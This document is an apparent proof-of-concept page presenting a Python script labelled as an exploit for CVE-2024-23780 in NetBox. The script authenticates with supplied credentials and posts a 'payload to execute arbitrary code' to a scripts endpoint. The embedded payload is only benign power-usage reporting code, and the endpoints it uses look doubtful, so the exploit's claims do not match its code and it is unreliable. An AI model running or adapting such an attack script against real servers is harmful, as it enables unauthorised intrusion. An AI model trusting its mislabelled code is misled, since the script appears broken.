4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-23780.py PY
import requests
import argparse

def exploit_netbox(url, username, password):
    # Payload to send to execute arbitrary code
    payload = {
        "name": "cve-2024-23780",
        "slug": "cve-2024-23780",
        "description": "Exploit for CVE-2024-23780",
        "content": """
import csv
import io
from dcim.choices import PowerPortTypeChoices
from dcim.models import Site, Device, PowerPort, PowerOutlet, PowerFeed, PowerPanel
from extras.scripts import Script, StringVar, ObjectVar, ChoiceVar

DC_TYPES = [PowerPortTypeChoices.TYPE_DC]

class PowerUsageAllSites(Script):
    class Meta:
        name = "Power Usage (all sites)"
        description = "Report on allocated power per site"
        scheduling_enabled = False
        commit_default = False

    def run(self, data, commit):
        output = io.StringIO()
        writer = csv.writer(output)
        writer.writerow(['Site','Allocated Draw'])
        for site in Site.objects.filter(status='active'):
            power_ports = PowerPort.objects.filter(device__site=site, device__status='active')
            site_draw = sum(((pp.allocated_draw or 0) for pp in power_ports))
            if site_draw > 0:
                writer.writerow([site.name, site_draw])
        return output.getvalue()

class PowerUsageSingleSite(Script):
    class Meta:
        name = "Power Usage (single site)"
        description = "Report on allocated power for each device in a site"
        scheduling_enabled = False
        commit_default = False

    site = ObjectVar(
        model=Site,
        query_params={
            'status': 'active',
        },
        label="Site",
    )

    def run(self, data, commit):
        output = io.StringIO()
        writer = csv.writer(output)
        site = data['site']
        power_ports = PowerPort.objects.filter(device__site=site, device__status='active')
        writer.writerow(['Device','Port','Allocated Draw'])
        site_draw = 0
        for pp in power_ports:
            if not pp.allocated_draw:
                continue
            writer.writerow([pp.device.name, pp.name, pp.allocated_draw])
            site_draw += pp.allocated_draw
        self.log_success(f"Total allocated draw for {site}: {site_draw}W")
        return output.getvalue()

class PowerOutletsAllSites(Script):
    class Meta:
        name = "Power Outlets (all sites)"
        description = "Report on total/free power outlets per site"
        scheduling_enabled = False
        commit_default = False

    def run(self, data, commit):
        output = io.StringIO()
        writer = csv.writer(output)
        writer.writerow(['Site','AC total','AC free','DC total','DC free'])
        for site in Site.objects.filter(status='active'):
            ac_total = ac_free = dc_total = dc_free = 0
            power_ports = PowerOutlet.objects.filter(device__site=site, device__status='active')
            for pp in power_ports:
                if pp.type in DC_TYPES:
                    dc_total += 1
                    dc_free += (0 if pp.mark_connected or pp.cable else 1)
                else:
                    ac_total += 1
                    ac_free += (0 if pp.mark_connected or pp.cable else 1)
            if dc_total > 0 or ac_total > 0:
                writer.writerow([site.name, ac_total, ac_free, dc_total, dc_free])
        return output.getvalue()

class PowerOutletsSingleSite(Script):
    class Meta:
        name = "Power Outlets (single site)"
        description = "Report on power outlets for each PDU in a site"
        scheduling_enabled = False
        commit_default = False

    site = ObjectVar(
        model=Site,
        query_params={
            'status': 'active',
        },
        label="Site",
    )

    def run(self, data, commit):
        output = io.StringIO()
        writer = csv.writer(output)
        site = data['site']
        devices = Device.objects.filter(site=site, status='active')
        writer.writerow(['Device','Outlet Type','Total','Free'])
        for device in devices:
            count_by_type = {}  # type => [total, free]
            for pp in device.poweroutlets.all():
                c = count_by_type.setdefault(pp.type, [0,0])
                c[0] += 1
                if not (pp.mark_connected or pp.cable):
                    c[1] += 1
            for type, vals in count_by_type.items():
                writer.writerow([device.name, type, vals[0], vals[1]])
        return output.getvalue()
"""

    }

    # Authenticate with Netbox
    session = requests.Session()
    session.post(f"{url}/login/", data={"username": username, "password": password})

    # Find Netbox instance with title="Netbox"
    instance = session.get(f"{url}/api/extras/text/?title=Netbox").json()
    if instance:
        # Send payload to /extras/scripts/add/ endpoint
        response = session.post(f"{url}/extras/scripts/add/", json=payload)
        if response.status_code == 201:
            print("Payload sent successfully! Check for execution.")
        else:
            print(f"Failed to send payload: {response.status_code} - {response.text}")
    else:
        print("Netbox instance with title='Netbox' not found.")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2024-23780 Exploit for Netbox")
    parser.add_argument("--url", required=True, help="URL of the Netbox instance")
    parser.add_argument("--username", required=True, help="Username for authentication")
    parser.add_argument("--password", required=True, help="Password for authentication")
    args = parser.parse_args()

    exploit_netbox(args.url, args.username, args.password)